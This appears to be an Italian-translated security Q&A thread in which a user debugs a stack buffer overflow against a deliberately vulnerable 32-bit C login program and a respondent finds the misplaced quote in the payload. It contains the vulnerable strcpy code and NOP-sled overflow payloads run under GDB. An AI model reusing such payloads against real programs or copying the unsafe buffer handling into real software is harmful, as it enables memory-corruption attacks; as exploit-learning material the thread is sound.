Shellcode per bufferare l'overflow che non funziona linux m32

0

Quello che fa il mio programma volutamente insicuro è controllare se un nome utente corrisponde a una stringa specifica copiando l'input dell'utente in un buffer e confrontandolo.

Ho compilato il programma

cc -o real real.c -g -m32 -static -fno-stack-protector

Sono riuscito a riempire il buffer con shellcode e sovrascrivere il mio EIP con l'indirizzo di ritorno di dove avviene l'overflow del buffer per poter essere eseguito utilizzando GDB. Ma continua a verificarsi un problema di segmentazione che non capisco.

Proverò persino a includere un printf %s per stampare l'indirizzo del mio buffer per assicurarmi di avere l'indirizzo corretto

#include <stdlib.h>
#include <string.h>

int checkUserName(int argc, char **argv) {
    char storedName[300];
    int pass = 1;
printf("%p\n", (void*)&storedName);

if(argc == 1){
      pass = 0;
printf("Nothing Entered");
return(0);
    }

else if(sizeof(argv[1]) > 20){
            printf("Too many characters.");
    pass = 0;
            return(0);
    } 
else if(argc > 1) {
      strcpy(storedName, argv[1]);
    }

    while (pass == 1) {
      if(!strcmp(storedName, "694449"))
      {
        printf("Username Successfull\n");
        return(1);
      }
      else{
        return(0);
   }
    }
}

int checkUserPassword(char *userPassword) {

    if(!strcmp(userPassword, "1994"))
{
      return(1);
    }

    else{
      printf("\nWrong Password. Exiting Program");
      return(0);
    }
}

int openBankAccounts() {
    char buff[5000];
    FILE *fp;

    fp = fopen("/home/parallels/RASS/bankAccounts.txt", "r");
    while (fgets (buff, sizeof(buff), fp)) {
      printf("%s", buff);
 }
 fclose(fp);
}


int main(int argc, char *argv[]) {

    int go = 1;
    if(!checkUserName(argc, argv)){
            printf("\nWrong Username. Exiting Program");
            go = 0;
            return(0);
    }

    while (go == 1){

      char userPassword[5];
      printf("\nPlease Enter 4 Digit Pin: ");
      fgets(userPassword, 5, stdin);

      if (!checkUserPassword(userPassword)){
        return(0);
      }
      else{
        go = 0;
      }
    }

  if(go == 0){
        openBankAccounts();
  }
    return 0;
}

CODICE GBD

  (gdb) run $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')


  Starting program: /home/parallels/RASS/real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')
 0xffffce50

L'indirizzo 0xffffce50 sopra viene dalla stampa. Sono consapevole che questo indirizzo cambia quando viene eseguito al di fuori di GDB. Sono anche consapevole che altri caratteri immessi inizieranno a sovrascrivere l'EIP.

 Program received signal SIGSEGV, Segmentation fault.
 0x08048f1a in openBankAccounts () at real.c:54


(gdb)  info reg ebp eip
 ebp            0x90909090  0x90909090
 eip            0x8048f1a   0x8048f1a <openBankAccounts+29>

Ora lo eseguo dal terminale per primo, per far sì che il programma stampi l'indirizzo:

 parallels@ubuntu:~/RASS$ ./real haha
 0xffffcfb0

E poi lo eseguo con quell'indirizzo:

 parallels@ubuntu:~/RASS$ ./real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284' + "\x70\xce\xff\xff")
0xffffce70
Segmentation fault (core dumped)

Come puoi vedere, l'indirizzo di memoria che ho inserito alla fine del mio input python è lo stesso dell'indirizzo stampato che il programma stampa. Quello che dovrebbe accadere è che l'EIP dovrebbe contenere questo indirizzo ed eseguire l'istruzione a quell'indirizzo che punta al buffer che ho overflown con lo shellcode. Ma succede un errore di segmentazione che non capisco. Tutto ha senso

    
posta Dipz 03.12.2015 - 23:44
fonte

1 risposta

-1

Questo potrebbe non essere direttamente correlato al tuo problema segfault, ma noto che qualcosa sembra un po 'insolito per il tuo indirizzo stampato, è 0xffffcfb0, che non può essere corretto, poiché si trova al di sopra dell'intervallo di utenti Linux a 32 bit, a 0xC0000000.

Non penso che dovresti stampare il tuo indirizzo in questo modo:

printf("[%p]\n", (void*)&storedName);

Poiché storedName è già un array, puoi utilizzarlo come un puntatore:

printf("[%p]\n", (void*)storedName);

Inoltre, non sono ancora sicuro se il tuo EIP sia stato effettivamente sovrascritto correttamente. Ho provato a eseguire il codice in GDB con un contenuto di stringhe modificato come di seguito:

(gdb) run $(python -c 'print "\xAA"*20 + "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"+ "\xCC"*284' + "\xDD\xDD\xDD\xDD")
Starting program: /home/user/real $(python -c 'print "\xAA"*20 + "\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xBB"+ "\xCC"*284' + "\xDD\xDD\xDD\xDD")
storedName: 0xbfffef80

Program received signal SIGSEGV, Segmentation fault.
0x0805c84a in memcpy ()
(gdb) info reg
eax            0xccccb939       -858998471
ecx            0x0      0
edx            0xbffff174       -1073745548
ebx            0x1      1
esp            0xbffff008       0xbffff008
ebp            0x0      0x0
esi            0xbffff318       -1073745128
edi            0xccccb938       -858998472
eip            0x805c84a        0x805c84a <memcpy+90>
eflags         0x10247  [ CF PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) bt
#0  0x0805c84a in memcpy ()
#1  0x0804f4b1 in _IO_getline_info ()
#2  0x0804f5de in _IO_getline ()
#3  0x0804f245 in fgets ()
#4  0x08048d0c in openBankAccounts () at real.c:56
Backtrace stopped: Cannot access memory at address 0xccccccd0

Durante l'arresto, sembra che l'EIP non sia atterrato a 0xDDDDDDDD. Quindi non hai effettivamente fatto atterrare correttamente il tuo EIP.

Un altro controllo sulla stringa di input e noto che la singola quota è stata inserita nel posto sbagliato nel tuo script python, "\ XCC" * 284' Questo ha concluso il tuo intervento troppo presto. Dopo aver spostato la virgoletta singola alla fine dell'input, segfault nella posizione corretta 0xDDDDDDDD, che è il tuo indirizzo EIP inserito / previsto.

Ma ancora una volta, sono ancora curioso di sapere come è arrivato l'indirizzo di destinazione EIP che inizia con 0xFFFF ****? Non dovresti tornare al tuo indirizzo del codice shell che si trova nello spazio utente?

    
risposta data 04.12.2015 - 00:31
fonte

Leggi altre domande sui tag